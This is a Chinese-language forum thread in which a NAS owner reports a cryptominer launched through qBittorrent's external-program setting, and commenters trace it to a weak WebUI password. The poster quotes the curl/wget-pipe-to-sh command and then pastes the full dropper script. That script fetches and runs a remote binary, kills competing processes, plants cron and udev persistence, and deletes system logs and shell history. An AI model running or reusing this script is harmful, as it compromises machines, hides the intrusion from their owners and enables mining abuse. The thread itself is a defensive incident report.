要注意, qBittorrent 自动运行 torrent 传播的挖矿脚本

232 天前
 Sanarara
- 在昨天下班回家后,听见 nas 怪吵,看了下探针 CPU50%,检查进程,qbittorrent 进程极为活跃,但是没有正在下载的内容。平时一直用 rss 自动挂 sukebei ,确认过确实没有活跃任务,这就活见鬼了。
- ssh 中 top 了一下,b3qmud4h 这个进程跑的飞起,怀疑有问题,互联网上搜索一圈,b3qmud4h 为自动生成的字段。
- kill -9 该进程后,cpu 恢复正常,qb 服务也没出现问题
- 重启 qbittorrent ,再次出现高 cpu 占用进程,同样为随机字符的任务。
- 检查 qbittorrent 日志,发现 “运行外部程序。Torrent:“*********”。命令:`sh -c "(curl -skL https://files.synotech.studio || wget --no-check-certificate -qO - https://files.synotech.studio) | sh"`”
- 通过搜索,得知设置→下载→运行外部程序 选项如果打勾的话,是可以通过种子直接运行脚本的
- 大家务必检查一下这个设置是否开启,我的印象里是没有认为开启过,可能和包或者是 docker 镜像有关
5766 次点击
所在节点    NAS
43 条回复
TeslaLyon
232 天前
villivateur
232 天前
话说 qBittorrent 为什么要写这么危险的功能呢?如果把挖矿脚本换成木马,岂不是一下子倒一大片
k9982874
232 天前
官方源的包不会有问题,你的 qb 安装自不明脚本?
Sanarara
232 天前
@k9982874 群晖矿神 5.0.3 的包,已更换 docker
villivateur
232 天前
而且我看了,这个功能的目的是相当于一个种子下载之后的 hook ,“外部程序”指的本机本来就有的程序,所以大概率还是你的 qb 本身已经被入侵了。
cat
232 天前
@Sanarara 矿神…… 不拿你挖矿对得起这名字吗 doge
ysc3839
232 天前
那个脚本要用户自己去设置里填写的吧?怎么可能自动从种子里获取?感觉是别的地方被入侵了,比如说开启了 WebUI 没设置密码暴露到公网上了。
iislong
232 天前
我的一切正常
Sanarara
232 天前
#!/bin/sh
ARCH=$(uname -m)
FILE=$(head /dev/urandom | tr -dc 'A-Za-z0-9' | head -c 8)
if [ ! "$(grep -c ":5B25" /proc/net/tcp)" -gt 0 ]; then
EXEC=$(for i in $(mount | grep -awv noexec | grep -aw "rw" | awk '{print $3}'); do find $i -maxdepth 0 -type d -executable 2>/dev/null; done)
(ps -eo pid,%cpu --sort=-%cpu | awk '$2 > 80 {print $1}' | xargs -I % kill -9 %) >/dev/null 2>&1
if [ "$ARCH" = "x86_64" ]; then
for i in /tmp $PWD $HOME $EXEC; do
(curl -sk https://files.synotech.studio/1 -o "$i"/"$FILE" || wget --no-check-certificate -qO "$i"/"$FILE" https://files.synotech.studio/1) >/dev/null 2>&1
(cd "$i" ; chmod +x "$FILE" ; ./"$FILE") >/dev/null 2>&1
rm -rf "$i"/"$FILE" >/dev/null 2>&1
sleep 15
if [ "$(grep -c ":5B25" /proc/net/tcp)" -gt 0 ]; then
break
fi
done
elif [ "$ARCH" = "aarch64" ]; then
for i in /tmp $PWD $HOME $EXEC; do
(curl -sk https://files.synotech.studio/2 -o "$i"/"$FILE" || wget --no-check-certificate -qO "$i"/"$FILE" https://files.synotech.studio/2) >/dev/null 2>&1
(cd "$i" ; chmod +x "$FILE" >/dev/null 2>&1 ; ./"$FILE") >/dev/null 2>&1
rm -rf "$i"/"$FILE" >/dev/null 2>&1
sleep 15
if [ "$(grep -c ":5B25" /proc/net/tcp)" -gt 0 ]; then
break
fi
done
else
exit 1
fi
fi
(if sudo -n true; then find /etc/cron.d -type f -exec rm -rf {} \; ; elif [ "$(id -u)" -eq 0 ]; then find /etc/cron.d -type f -exec rm -rf {} \; ; fi) >/dev/null 2>&1
(if sudo -n true; then echo 0 0 \* \* \* root sh -c "\"(curl -sk https://files.synotech.studio || wget --no-check-certificate -qO - https://files.synotech.studio) | sh"\" | sudo tee /etc/cron.d/mdadm; elif [ "$(id -u)" -eq 0 ]; then echo 0 0 \* \* \* root sh -c "\"(curl -sk https://files.synotech.studio || wget --no-check-certificate -qO - https://files.synotech.studio) | sh"\" | tee /etc/cron.d/mdadm; fi) >/dev/null 2>&1
UDEV='SUBSYSTEM=="net", KERNEL!="lo", RUN+="echo 0 0 \* \* \* root sh -c "\"(curl -sk https://files.synotech.studio || wget --no-check-certificate -qO - https://files.synotech.studio) | sh"\" | (sudo tee /etc/cron.d/mdadm || tee /etc/cron.d/mdadm)"'
(if sudo -n true; then echo $UDEV | sudo tee /etc/udev/rules.d/mdadm; elif [ "$(id -u)" -eq 0 ]; then echo $UDEV | tee /etc/udev/rules.d/mdadm; fi) >/dev/null 2>&1
(if sudo -n true; then for logs in $(sudo find /var/log -type f); do sudo rm $logs; done; elif [ "$(id -u)" -eq 0 ]; then for logs in $(find /var/log -type f); do rm $logs; done; fi) >/dev/null 2>&1
(rm $HOME/.bash_history) >/dev/null 2>&1
(history -c) >/dev/null 2>&1
Sanarara
232 天前
@ysc3839 那-----我观望下是不是弱口令
Sanarara
232 天前
@villivateur 原来如此,但是更恐怖了啊
idclight
232 天前
百分百弱口令,毕竟我也扫到过 N 多 8082 默认 admin:adminadmin
kklove77
232 天前
遇到过同样的问题,进程名叫 SyGlcPtf ,原因是 qb 用的弱密码,长教训了
65r4Zgm364TDg652
232 天前
我也正在用同版 qb ,请问到底应该是哪里设置可以规避?看了下,默认情况下:设置→下载→运行外部程序处的俩都没有勾选
StarsunYzL
231 天前
qBittorrent 有官方 docker ,可以装在群晖上,为啥要用第三方的呢
0IuL7w7X5K2HJxZf
231 天前
@cat #6 哈哈哈,说的太对了!
NG6
231 天前
能用官方的尽量用官方的,不要安装来路不明的软件
Sanarara
231 天前
在/volume1/@appstore/qBitttorrent 目录下发现 o2PHN18N 文件
Leon777
231 天前
我不是矿神
wwd179
231 天前
你的 qb 被爆破了吧?
可以用 fail2ban 啥的,搞基于日志的防爆破。

这是一个专为移动设备优化的页面(即为了让你能够在 Google 搜索结果里秒开这个页面),如果你希望参与 V2EX 社区的讨论,你可以继续到 V2EX 上打开本讨论主题的完整版本。

https://www.v2ex.com/t/1105709

V2EX 是创意工作者们的社区,是一个分享自己正在做的有趣事物、交流想法,可以遇见新朋友甚至新机会的地方。

V2EX is a community of developers, designers and creative people.

© 2021 V2EX